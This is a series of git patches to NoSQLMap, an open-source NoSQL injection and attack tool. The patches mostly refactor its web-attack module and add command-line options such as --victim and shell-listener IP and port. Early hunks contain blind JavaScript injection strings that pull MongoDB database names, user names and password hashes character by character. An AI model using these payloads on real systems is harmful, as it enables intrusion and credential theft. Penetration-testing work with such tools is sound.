             testNum += 1
 
@@ -974,7 +980,7 @@ def getDBInfo():
     trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
     #print "Debug " + str(trueUri)
     req = urllib2.Request(trueUri, None, requestHeaders)
-    baseLen = int(len(urllib2.urlopen(req).read()))
+    baseLen = int(len(getResponseBodyHandlingErrors(req)))
     print "Got baseline true query length of " + str(baseLen)
 
     print "Calculating DB name length..."
@@ -983,7 +989,7 @@ def getDBInfo():
         calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&")
         #print "Debug: " + calcUri
         req = urllib2.Request(calcUri, None, requestHeaders)
-        lenUri = int(len(urllib2.urlopen(req).read()))
+        lenUri = int(len(getResponseBodyHandlingErrors(req)))
         #print "Debug length: " + str(lenUri)
 
         if lenUri == baseLen:
@@ -998,7 +1004,7 @@ def getDBInfo():
         charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&")
 
         req = urllib2.Request(charUri, None, requestHeaders)
-        lenUri = int(len(urllib2.urlopen(req).read()))
+        lenUri = int(len(getResponseBodyHandlingErrors(req)))
 
         if lenUri == baseLen:
             dbName = dbName + chars[charCounter]
@@ -1024,7 +1030,7 @@ def getDBInfo():
             usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a")
 
             req = urllib2.Request(usrCntUri, None, requestHeaders)
-            lenUri = int(len(urllib2.urlopen(req).read()))
+            lenUri = int(len(getResponseBodyHandlingErrors(req)))
 
             if lenUri == baseLen:
                 print "Found " + str(usrCount) + " user(s)."
@@ -1050,7 +1056,7 @@ def getDBInfo():
                     usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
 
                     req = urllib2.Request(usrUri, None, requestHeaders)
-                    lenUri = int(len(urllib2.urlopen(req).read()))
+                    lenUri = int(len(getResponseBodyHandlingErrors(req)))
 
                     if lenUri == baseLen:
                         # Got the right number of characters
@@ -1063,7 +1069,7 @@ def getDBInfo():
                     usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
 
                     req = urllib2.Request(usrUri, None, requestHeaders)
-                    lenUri = int(len(urllib2.urlopen(req).read()))
+                    lenUri = int(len(getResponseBodyHandlingErrors(req)))
 
                     if lenUri == baseLen:
                         username = username + chars[charCounterUsr]
@@ -1088,7 +1094,7 @@ def getDBInfo():
                     hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&")
 
                     req = urllib2.Request(hashUri, None, requestHeaders)
-                    lenUri = int(len(urllib2.urlopen(req).read()))
+                    lenUri = int(len(getResponseBodyHandlingErrors(req)))
 
                     if lenUri == baseLen:
                         pwdHash = pwdHash + chars[charCounterHash]
@@ -1111,7 +1117,7 @@ def getDBInfo():
                     usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
 
                     req = urllib2.Request(usrUri, None, requestHeaders)
-                    lenUri = int(len(urllib2.urlopen(req).read()))
+                    lenUri = int(len(getResponseBodyHandlingErrors(req)))
 
                     if lenUri == baseLen:
                         # Got the right number of characters
@@ -1124,7 +1130,7 @@ def getDBInfo():
                     usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
 
                     req = urllib2.Request(usrUri, None, requestHeaders)
-                    lenUri = int(len(urllib2.urlopen(req).read()))
+                    lenUri = int(len(getResponseBodyHandlingErrors(req)))
 
                     if lenUri == baseLen:
                         username = username + chars[charCounterUsr]
@@ -1146,7 +1152,7 @@ def getDBInfo():
                     hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&")
 
                     req = urllib2.Request(hashUri, None, requestHeaders)
-                    lenUri = int(len(urllib2.urlopen(req).read()))
+                    lenUri = int(len(getResponseBodyHandlingErrors(req)))
 
                     if lenUri == baseLen:
                         pwdHash = pwdHash + chars[charCounterHash]

From b8852e237e7bf234a2e0465d0f8e440d3a36fe63 Mon Sep 17 00:00:00 2001
From: Nythiennzo <mnytiennzo@yahoo.com>
Date: Mon, 4 Dec 2017 18:24:55 +0400
Subject: [PATCH 39/68] Fix bug on injectString size input.

---
 nsmweb.py | 20 ++++++++++++++++++--
 1 file changed, 18 insertions(+), 2 deletions(-)

diff --git a/nsmweb.py b/nsmweb.py
index f38725e..8cc4935 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -81,7 +81,15 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
 
     if appUp == True:
 
-        injectSize = raw_input("Baseline test-Enter random string size: ")
+        sizeSelect = True
+
+        while sizeSelect:
+            injectSize = raw_input("Baseline test-Enter random string size: ")
+            if injectSize.isdigit():
+                sizeSelect = False
+            else:
+                print "Invalid! The size should be an integer."
+
         injectString = randInjString(int(injectSize))
         print "Using " + injectString + " for injection testing.\n"
 
@@ -429,7 +437,15 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
             raw_input("Something went wrong.  Press enter to return to the main menu...")
             return
 
-        injectSize = raw_input("Baseline test-Enter random string size: ")
+        sizeSelect = True
+
+        while sizeSelect:
+            injectSize = raw_input("Baseline test-Enter random string size: ")
+            if injectSize.isdigit():
+                sizeSelect = False
+            else:
+                print "Invalid! The size should be an integer."
+                
         injectString = randInjString(int(injectSize))
         print "Using " + injectString + " for injection testing.\n"
 

From 44a22f52c7ccb9227112c6ae69062de7f97515ce Mon Sep 17 00:00:00 2001
From: ProDigySML <saloh2@student.monash.edu>
Date: Tue, 13 Feb 2018 13:38:21 +1100
Subject: [PATCH 40/68] Added in a patch for URLs not working when they do not
 start with a /

---
 nosqlmap.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/nosqlmap.py b/nosqlmap.py
index d7df2da..1cbca51 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -247,6 +247,9 @@ def options():
 
         elif select == "3":
             uri = raw_input("Enter URI Path (Press enter for no URI): ")
+            #Ensuring the URI path always starts with / and causes less errors
+            if uri[0] != "/":
+                uri = "/" + uri
             print "\nURI Path set to " + uri + "\n"
             optionSet[2] = True
 

From a56e9a503dd228e26d38e2add4fb5717f92a145b Mon Sep 17 00:00:00 2001
From: JeromeNaucelle <jerome.naucelle@gmail.com>
Date: Wed, 27 Jun 2018 14:32:49 +0200
Subject: [PATCH 41/68] Fix "Headers not loaded after saving" (aka bug-66)

---
 nosqlmap.py | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/nosqlmap.py b/nosqlmap.py
index 1cbca51..58bf444 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -367,9 +367,15 @@ def options():
                 myPort = optList[5]
                 verb = optList[6]
                 https = optList[7]
+                
+                # saved headers position will depend of the request verb
+                headersPos= 1
 
                 if httpMethod == "POST":
                     postData = ast.literal_eval(csvOpt[1])
+                    headersPos = 2
+                    
+                requestHeaders = ast.literal_eval(csvOpt[headersPos])
 
                 # Set option checking array based on what was loaded
                 x = 0

From 71dcd79f0432bbc4499491a524a33afa744b7a05 Mon Sep 17 00:00:00 2001
From: Cotonne <cotonne@github.com>
Date: Sun, 16 Sep 2018 09:38:20 +0200
Subject: [PATCH 42/68] Add arguments for main file

---
 nosqlmap.py | 89 ++++++++++++++++++++++++++++++++++++++++++++---------
 1 file changed, 75 insertions(+), 14 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 58bf444..6a4064b 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -12,8 +12,10 @@
 import signal
 import ast
 
+import argparse
 
-def main():
+
+def main(args):
     signal.signal(signal.SIGINT, signal_handler)
     global optionSet
     # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
@@ -38,7 +40,10 @@ def main():
     dbPort = 27017
     myIP = "Not Set"
     myPort = "Not Set"
-    mainMenu()
+    if args.attack:
+        attack(args)
+    else:
+        mainMenu()
 
 def mainMenu():
     global platform
@@ -56,11 +61,11 @@ def mainMenu():
     mmSelect = True
     while mmSelect:
         os.system('clear')
-        print " _  _     ___  ___  _    __  __           "
-        print "| \| |___/ __|/ _ \| |  |  \/  |__ _ _ __ "
+        print " _  _     ___  ___  _    __  __           "
+        print "| \| |___/ __|/ _ \| |  |  \/  |__ _ _ __ "
         print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\"
         print("|_|\_\___/___/\__\_\____|_|  |_\__,_| .__/")
-        print(" v0.7 codingo@protonmail.com        |_|   ")
+        print(" v0.7 codingo@protonmail.com        |_|   ")
         print "\n"
         print "1-Set options"
         print "2-NoSQL DB Access Attacks"
@@ -116,6 +121,50 @@ def mainMenu():
         else:
             raw_input("Invalid selection.  Press enter to continue.")
 
+def build_request_headers(reqHeadersIn):
+    requestHeaders = {}
+    reqHeadersArray = reqHeadersIn.split(",")
+    headerNames = reqHeadersArray[0::2]
+    headerValues = reqHeadersArray[1::2]
+    requestHeaders = dict(zip(headerNames, headerValues))
+    return requestHeaders
+
+def build_post_data(postDataIn):
+    pdArray = postDataIn.split(",")
+    paramNames = pdArray[0::2]
+    paramValues = pdArray[1::2]
+    postData = dict(zip(paramNames,paramValues))
+    return postData
+
+def attack(args):
+    platform = args.platform 
+    victim = args.victim
+    webPort = args.webPort
+    dbPort = args.dbPort
+    myIP = args.myIP
+    myPort = args.myPort
+    uri = args.uri
+    https = args.https
+    verb = args.verb
+    httpMethod = args.httpMethod
+    requestHeaders = build_request_headers(args.requestHeaders)
+    postData = build_post_data(args.postData)
+    
+    if args.attack == 1:
+        if platform == "MongoDB":
+            nsmmongo.netAttacks(victim, dbPort, myIP, myPort)
+        elif platform == "CouchDB":
+            nsmcouch.netAttacks(victim, dbPort, myIP)
+    elif args.attack == 2:
+        if httpMethod == "GET":
+            nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders)
+        elif httpMethod == "POST":
+            nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders)
+    elif args.attack == 3:
+        scanResult = nsmscan.massScan(platform)
+        if scanResult != None:
+            optionSet[0] = True
+            victim = scanResult[1]
 
 def platSel():
     global platform
@@ -288,10 +337,7 @@ def options():
                     print "POST request set"
                     optionSet[3] = True
                     postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n")
-                    pdArray = postDataIn.split(",")
-                    paramNames = pdArray[0::2]
-                    paramValues = pdArray[1::2]
-                    postData = dict(zip(paramNames,paramValues))
+                    build_post_data(postDataIn)
                     httpMethod = "POST"
 
                 else:
@@ -448,14 +494,27 @@ def options():
 
         elif select == "h":
             reqHeadersIn = raw_input("Enter HTTP Request Header data in a comma separated list (i.e. header name 1,value1,header name 2,value2)\n")
-            reqHeadersArray = reqHeadersIn.split(",")
-            headerNames = reqHeadersArray[0::2]
-            headerValues = reqHeadersArray[1::2]
-            requestHeaders = dict(zip(headerNames, headerValues))
+            build_request_headers(reqHeadersIn)
 
         elif select == "x":
             return
 
+def build_parser():
+    parser = argparse.ArgumentParser()
+    parser.add_argument("--attack", help="1 = NoSQL DB Access Attacks, 2 = NoSQL Web App attacks, 3 - Scan for Anonymous platform Access", type=int, choices=[1,2,3])
+    parser.add_argument("--platform", help="Platform to attack", choices=["MongoDB", "CouchDB"], default="MongoDB")
+    parser.add_argument("--victim", help="Set target host/IP (ex: localhost or 127.0.0.1)")
+    parser.add_argument("--dbPort", help="Set shell listener port", type=int)
+    parser.add_argument("--myIP",help="Set my local platform/Shell IP")
+    parser.add_argument("--myPort",help="Set my local platform/Shell port", type=int)
+    parser.add_argument("--webPort", help="Set web app port ([1 - 65535])", type=int)
+    parser.add_argument("--uri", help="Set App Path. For example '/a-path/'. Final URI will be [https option]://[victim option]:[webPort option]/[uri option]") 
+    parser.add_argument("--httpMethod", help="Set HTTP Request Method", choices=["GET","POST"], default="GET")
+    parser.add_argument("--https", help="Toggle HTTPS", choices=["ON", "OFF"], default="OFF")
+    parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF")
+    parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="")
+    parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="")
+    return parser
 
 def signal_handler(signal, frame):
     print "\n"
@@ -463,4 +522,6 @@ def signal_handler(signal, frame):
     sys.exit()
 
 if __name__ == '__main__':
-    main()
+    parser = build_parser()
+    args = parser.parse_args()
+    main(args)

From 0628784b1e928f3c3d78e20eeee36516c9eafe32 Mon Sep 17 00:00:00 2001
From: Cotonne <cotonne@github.com>
Date: Sun, 16 Sep 2018 10:44:30 +0200
Subject: [PATCH 43/68] Add parameters for Web Attack

---
 nosqlmap.py |  14 +++++--
 nsmcouch.py |   5 ++-
 nsmmongo.py |   4 +-
 nsmscan.py  |   4 +-
 nsmweb.py   | 112 +++++++++++++++++++++++++++++++++-------------------
 5 files changed, 90 insertions(+), 49 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index 6a4064b..dd7dbf5 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -152,14 +152,14 @@ def attack(args):
     
     if args.attack == 1:
         if platform == "MongoDB":
-            nsmmongo.netAttacks(victim, dbPort, myIP, myPort)
+            nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args)
         elif platform == "CouchDB":
-            nsmcouch.netAttacks(victim, dbPort, myIP)
+            nsmcouch.netAttacks(victim, dbPort, myIP, args)
     elif args.attack == 2:
         if httpMethod == "GET":
-            nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders)
+            nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders, args)
         elif httpMethod == "POST":
-            nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders)
+            nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args)
     elif args.attack == 3:
         scanResult = nsmscan.massScan(platform)
         if scanResult != None:
@@ -514,6 +514,12 @@ def build_parser():
     parser.add_argument("--verb", help="Toggle Verbose Mode", choices=["ON", "OFF"], default="OFF")
     parser.add_argument("--postData", help="Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="")
     parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="")
+
+    modules = [nsmcouch, nsmmongo, nsmscan, nsmweb]
+    for module in modules:     
+        for arg in module.args():
+            parser.add_argument(arg[0], help=arg[1])
+    
     return parser
 
 def signal_handler(signal, frame):
diff --git a/nsmcouch.py b/nsmcouch.py
index da63bca..f2d344b 100644
--- a/nsmcouch.py
+++ b/nsmcouch.py
@@ -21,6 +21,8 @@
 yes_tag = ['y', 'Y']
 no_tag = ['n', 'N']
 
+def args():
+    return []
 
 def couchScan(target,port,pingIt):
     if pingIt == True:
@@ -63,8 +65,7 @@ def couchScan(target,port,pingIt):
         except:
             return [3,None]
 
-
-def netAttacks(target,port, myIP):
+def netAttacks(target,port, myIP, args = None):
     print "DB Access attacks (CouchDB)"
     print "======================"
     mgtOpen = False
diff --git a/nsmmongo.py b/nsmmongo.py
index 04a0b20..c01e410 100644
--- a/nsmmongo.py
+++ b/nsmmongo.py
@@ -18,8 +18,10 @@
 yes_tag = ['y', 'Y']
 no_tag = ['n', 'N']
 
+def args():
+    return []
 
-def netAttacks(target, dbPort, myIP, myPort):
+def netAttacks(target, dbPort, myIP, myPort, args = None):
     print "DB Access attacks (MongoDB)"
     print "================="
     mgtOpen = False
diff --git a/nsmscan.py b/nsmscan.py
index 1360b4f..06cb044 100644
--- a/nsmscan.py
+++ b/nsmscan.py
@@ -7,8 +7,10 @@
 import nsmmongo
 import nsmcouch
 
+def args():
+    return []
 
-def massScan(platform):
+def massScan(platform, args = None):
     yes_tag = ['y', 'Y']
     no_tag = ['n', 'N']
     optCheck = True
diff --git a/nsmweb.py b/nsmweb.py
index 8cc4935..36b825d 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -19,7 +19,14 @@
     ssl._create_default_https_context = ssl._create_unverified_context
 
 
-def getApps(webPort,victim,uri,https,verb,requestHeaders):
+def args():
+    return [
+            ["--injectSize", "Size of payload"],
+            ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"],
+            ["--params", "Enter parameters to inject in a comma separated list"],
+            ["--doTimeAttack", "Start timing based tests (y/n)"]]
+
+def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
     print "Web App Attacks (GET)"
     print "==============="
     paramName = []
@@ -81,25 +88,32 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
 
     if appUp == True:
 
-        sizeSelect = True
+        if args == None:
+            sizeSelect = not injectSize.isdigit() 
 
-        while sizeSelect:
-            injectSize = raw_input("Baseline test-Enter random string size: ")
-            if injectSize.isdigit():
-                sizeSelect = False
-            else:
-                print "Invalid! The size should be an integer."
+            while sizeSelect:
+                injectSize = raw_input("Baseline test-Enter random string size: ")
+                sizeSelect = not injectSize.isdigit() 
+                if sizeSelect:
+                    print "Invalid! The size should be an integer."
+
+            format = randInjString(int(injectSize))
+        else:
+            injectSize = int(args.injectSize)
+            format = args.injectFormat
+            
+        injectString = build_random_string(format, injectSize)
 
-        injectString = randInjString(int(injectSize))
         print "Using " + injectString + " for injection testing.\n"
 
         # Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
         if "?" not in appURL:
             print "No URI parameters provided for GET request...Check your options.\n"
-            raw_input("Press enter to continue...")
+            if args == None:
+                raw_input("Press enter to continue...")
             return()
 
-        randomUri = buildUri(appURL,injectString)
+        randomUri = buildUri(appURL,injectString, args)
         print "URI : " + randomUri
         req = urllib2.Request(randomUri, None, requestHeaders)
 
@@ -260,8 +274,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             checkResult(randLength,injLen,testNum,verb,None)
             testNum += 1
 
-
-        doTimeAttack = raw_input("Start timing based tests (y/n)? ")
+        if args == None:
+            doTimeAttack = raw_input("Start timing based tests (y/n)? ")
+        else:
+            doTimeAttack = args.doTimeAttack
 
         if doTimeAttack.lower() == "y":
             print "Starting Javascript string escape time based injection..."
@@ -323,7 +339,10 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
         else:
             print "Integer attack-Unsuccessful"
 
-        fileOut = raw_input("Save results to file (y/n)? ")
+        if args == None:
+            fileOut = raw_input("Save results to file (y/n)? ")
+        else:
+            fileOut = "n"
 
         if fileOut.lower() == "y":
             savePath = raw_input("Enter output file name: ")
@@ -349,7 +368,8 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders):
             fo.write("\n")
             fo.close()
 
-    raw_input("Press enter to continue...")
+    if args == None:
+        raw_input("Press enter to continue...")
     return()
 
 
@@ -430,20 +450,25 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
             menuItem += 1
 
         try:
-            injIndex = raw_input("Which parameter should we inject? ")
+            injIndex = 1
+            if args == None:
+                injIndex = raw_input("Which parameter should we inject? ")
+                
             injOpt = str(postData.keys()[int(injIndex)-1])
             print "Injecting the " + injOpt + " parameter..."
         except:
-            raw_input("Something went wrong.  Press enter to return to the main menu...")
+            if args == None:
+                raw_input("Something went wrong.  Press enter to return to the main menu...")
             return
 
-        sizeSelect = True
+
+        sizeSelect = (args == None)
+        injectSize = 1000
 
         while sizeSelect:
             injectSize = raw_input("Baseline test-Enter random string size: ")
-            if injectSize.isdigit():
-                sizeSelect = False
-            else:
+            sizeSelect = not injectSize.isdigit()
+            if sizeSelect:
                 print "Invalid! The size should be an integer."
                 
         injectString = randInjString(int(injectSize))
@@ -454,7 +479,6 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         postData.update({injOpt:injectString})
         if verb == "ON":
             print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n"
-
         else:
             print "Sending random parameter value..."
 
@@ -641,7 +665,9 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
             testNum += 1
         print "\n"
 
-        doTimeAttack = raw_input("Start timing based tests (y/n)? ")
+        doTimeAttack = "N"
+        if args == None:        
+            doTimeAttack = raw_input("Start timing based tests (y/n)? ")
 
         if doTimeAttack == "y" or doTimeAttack == "Y":
             print "Starting Javascript string escape time based injection..."
@@ -849,28 +875,29 @@ def randInjString(size):
 
     while format:
         format = raw_input("Select an option: ")
+        if format not in ["1", "2", "3", "4"]:
+            format = True
+            print "Invalid selection."
+    return format
 
-        if format == "1":
-            chars = string.ascii_letters + string.digits
-            return ''.join(random.choice(chars) for x in range(size))
-
-        elif format == "2":
-            chars = string.ascii_letters
-            return ''.join(random.choice(chars) for x in range(size))
+def build_random_string(format, size):
+    if format == "1":
+        chars = string.ascii_letters + string.digits
+        return ''.join(random.choice(chars) for x in range(size))
 
-        elif format == "3":
-            chars = string.digits
-            return ''.join(random.choice(chars) for x in range(size))
+    elif format == "2":
+        chars = string.ascii_letters
+        return ''.join(random.choice(chars) for x in range(size))
 
-        elif format == "4":
-            chars = string.ascii_letters + string.digits
-            return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com'
-        else:
-            format = True
-            print "Invalid selection."
+    elif format == "3":
+        chars = string.digits
+        return ''.join(random.choice(chars) for x in range(size))
 
+    else: # format == "4":
+        chars = string.ascii_letters + string.digits
+        return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com'
 
-def buildUri(origUri, randValue):
+def buildUri(origUri, randValue, args=None):
     paramName = []
     paramValue = []
     global uriArray
@@ -898,7 +925,10 @@ def buildUri(origUri, randValue):
         menuItem += 1
 
     try:
-        injIndex = raw_input("Enter parameters to inject in a comma separated list:  ")
+        if args == None:
+            injIndex = raw_input("Enter parameters to inject in a comma separated list:  ")
+        else:
+            injIndex = args.params
 
         for params in injIndex.split(","):
             injOpt.append(paramName[int(params)-1])

From 7a0d452cb3d11d951e9450895076ef4bcc40af3e Mon Sep 17 00:00:00 2001
From: Cotonne <cotonne@github.com>
Date: Sun, 16 Sep 2018 18:09:22 +0200
Subject: [PATCH 44/68] Add more parameter for the web app scan

---
 nosqlmap.py |  5 +--
 nsmweb.py   | 89 ++++++++++++++++++++++++-----------------------------
 2 files changed, 44 insertions(+), 50 deletions(-)

diff --git a/nosqlmap.py b/nosqlmap.py
index dd7dbf5..4d1b733 100755
--- a/nosqlmap.py
+++ b/nosqlmap.py
@@ -516,9 +516,10 @@ def build_parser():
     parser.add_argument("--requestHeaders", help="Request headers in a comma separated list (i.e. param name 1,value1,param name 2,value2)", default="")
 
     modules = [nsmcouch, nsmmongo, nsmscan, nsmweb]
-    for module in modules:     
+    for module in modules:
+        group = parser.add_argument_group(module.__name__)
         for arg in module.args():
-            parser.add_argument(arg[0], help=arg[1])
+            group.add_argument(arg[0], help=arg[1])
     
     return parser
 
diff --git a/nsmweb.py b/nsmweb.py
index 36b825d..4bb00ce 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -19,12 +19,37 @@
     ssl._create_default_https_context = ssl._create_unverified_context
 
 
+def save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack):
+    fo = open(savePath, "wb")
+    fo.write ("Vulnerable URLs:\n")
+    fo.write("\n".join(vulnAddrs))
+    fo.write("\n\n")
+    fo.write("Possibly Vulnerable URLs:\n")
+    fo.write("\n".join(possAddrs))
+    fo.write("\n")
+    fo.write("Timing based attacks:\n")
+    
+    if strTbAttack == True:
+        fo.write("String Attack-Successful\n")
+    else:
+        fo.write("String Attack-Unsuccessful\n")
+    fo.write("\n")
+    
+    if intTbAttack == True:
+        fo.write("Integer attack-Successful\n")
+    else:
+        fo.write("Integer attack-Unsuccessful\n")
+    fo.write("\n")
+    fo.close()
+
 def args():
     return [
+            ["--injectedParameter", "Parameter to be injected"],
             ["--injectSize", "Size of payload"],
             ["--injectFormat", "1-Alphanumeric, 2-Letters only, 3-Numbers only, 4-Email address"],
             ["--params", "Enter parameters to inject in a comma separated list"],
-            ["--doTimeAttack", "Start timing based tests (y/n)"]]
+            ["--doTimeAttack", "Start timing based tests (y/n)"],
+            ["--savePath", "output file name"]]
 
 def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
     print "Web App Attacks (GET)"
@@ -75,7 +100,6 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
 
             if verb == "ON":
                 print "App is up! Got response length of " + str(normLength) + " and response time of " + str(timeBase) + " seconds.  Starting injection test.\n"
-
             else:
                 print "App is up!"
             appUp = True
@@ -342,31 +366,14 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
         if args == None:
             fileOut = raw_input("Save results to file (y/n)? ")
         else:
-            fileOut = "n"
+            fileOut = "y" if args.savePath else "n"
 
         if fileOut.lower() == "y":
-            savePath = raw_input("Enter output file name: ")
-            fo = open(savePath, "wb")
-            fo.write ("Vulnerable URLs:\n")
-            fo.write("\n".join(vulnAddrs))
-            fo.write("\n\n")
-            fo.write("Possibly Vulnerable URLs:\n")
-            fo.write("\n".join(possAddrs))
-            fo.write("\n")
-            fo.write("Timing based attacks:\n")
-
-            if strTbAttack == True:
-                fo.write("String Attack-Successful\n")
-            else:
-                fo.write("String Attack-Unsuccessful\n")
-            fo.write("\n")
-
-            if intTbAttack == True:
-                fo.write("Integer attack-Successful\n")
+            if args == None:
+                savePath = raw_input("Enter output file name: ")
             else:
-                fo.write("Integer attack-Unsuccessful\n")
-            fo.write("\n")
-            fo.close()
+                savePath = args.savePath
+            save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack)
 
     if args == None:
         raw_input("Press enter to continue...")
@@ -450,10 +457,10 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
             menuItem += 1
 
         try:
-            injIndex = 1
             if args == None:
                 injIndex = raw_input("Which parameter should we inject? ")
-                
+            else:
+                injIndex = int(args.injectedParameter)
             injOpt = str(postData.keys()[int(injIndex)-1])
             print "Injecting the " + injOpt + " parameter..."
         except:
@@ -729,31 +736,17 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
         else:
             print "Integer attack-Unsuccessful"
 
-        fileOut = raw_input("Save results to file (y/n)? ")
+        if args == None:
+            fileOut = raw_input("Save results to file (y/n)? ")
+        else:
+            fileOut = "y" if args.savePath else "n"
 
         if fileOut.lower() == "y":
-            savePath = raw_input("Enter output file name: ")
-            fo = open(savePath, "wb")
-            fo.write ("Vulnerable Requests:\n")
-            fo.write("\n".join(vulnAddrs))
-            fo.write("\n\n")
-            fo.write("Possibly Vulnerable Requests:\n")
-            fo.write("\n".join(possAddrs))
-            fo.write("\n")
-            fo.write("Timing based attacks:\n")
-
-            if strTbAttack == True:
-                fo.write("String Attack-Successful\n")
-            else:
-                fo.write("String Attack-Unsuccessful\n")
-            fo.write("\n")
-
-            if intTbAttack == True:
-                fo.write("Integer attack-Successful\n")
+            if args == None:
+                savePath = raw_input("Enter output file name: ")
             else:
-                fo.write("Integer attack-Unsuccessful\n")
-            fo.write("\n")
-            fo.close()
+                savePath = args.savePath
+            save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack)
 
     raw_input("Press enter to continue...")
     return()

From d351d1481570bc2bfad12c7966ca68255114cd2b Mon Sep 17 00:00:00 2001
From: Cotonne <cotonne@github.com>
Date: Tue, 18 Sep 2018 18:23:15 +0200
Subject: [PATCH 45/68] Add support for App Web POST request

---
 nsmweb.py | 29 +++++++++++++++++------------
 1 file changed, 17 insertions(+), 12 deletions(-)

diff --git a/nsmweb.py b/nsmweb.py
index 4bb00ce..b2c649b 100644
--- a/nsmweb.py
+++ b/nsmweb.py
@@ -113,7 +113,7 @@ def getApps(webPort,victim,uri,https,verb,requestHeaders, args = None):
     if appUp == True:
 
         if args == None:
-            sizeSelect = not injectSize.isdigit() 
+            sizeSelect = True 
 
             while sizeSelect:
                 injectSize = raw_input("Baseline test-Enter random string size: ")
@@ -389,7 +389,7 @@ def getResponseBodyHandlingErrors(req):
     return responseBody
 
 
-def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
+def postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args = None):
     print "Web App Attacks (POST)"
     print "==============="
     paramName = []
@@ -468,17 +468,22 @@ def postApps(victim,webPort,uri,https,verb,postData,requestHeaders):
                 raw_input("Something went wrong.  Press enter to return to the main menu...")
             return
 
+        if args == None:
+            sizeSelect = True
 
-        sizeSelect = (args == None)
-        injectSize = 1000
+            while sizeSelect:
+                injectSize = raw_input("Baseline test-Enter random string size: ")
+                sizeSelect = not injectSize.isdigit()
+                if sizeSelect:
+                    print "Invalid! The size should be an integer."
 
-        while sizeSelect:
-            injectSize = raw_input("Baseline test-Enter random string size: ")
-            sizeSelect = not injectSize.isdigit()
-            if sizeSelect:
-                print "Invalid! The size should be an integer."
+            format = randInjString(int(injectSize))
+        else:
+            injectSize = int(args.injectSize)
+            format = args.injectFormat
+
+        injectString = build_random_string(format, injectSize)
                 
-        injectString = randInjString(int(injectSize))
         print "Using " + injectString + " for injection testing.\n"
 
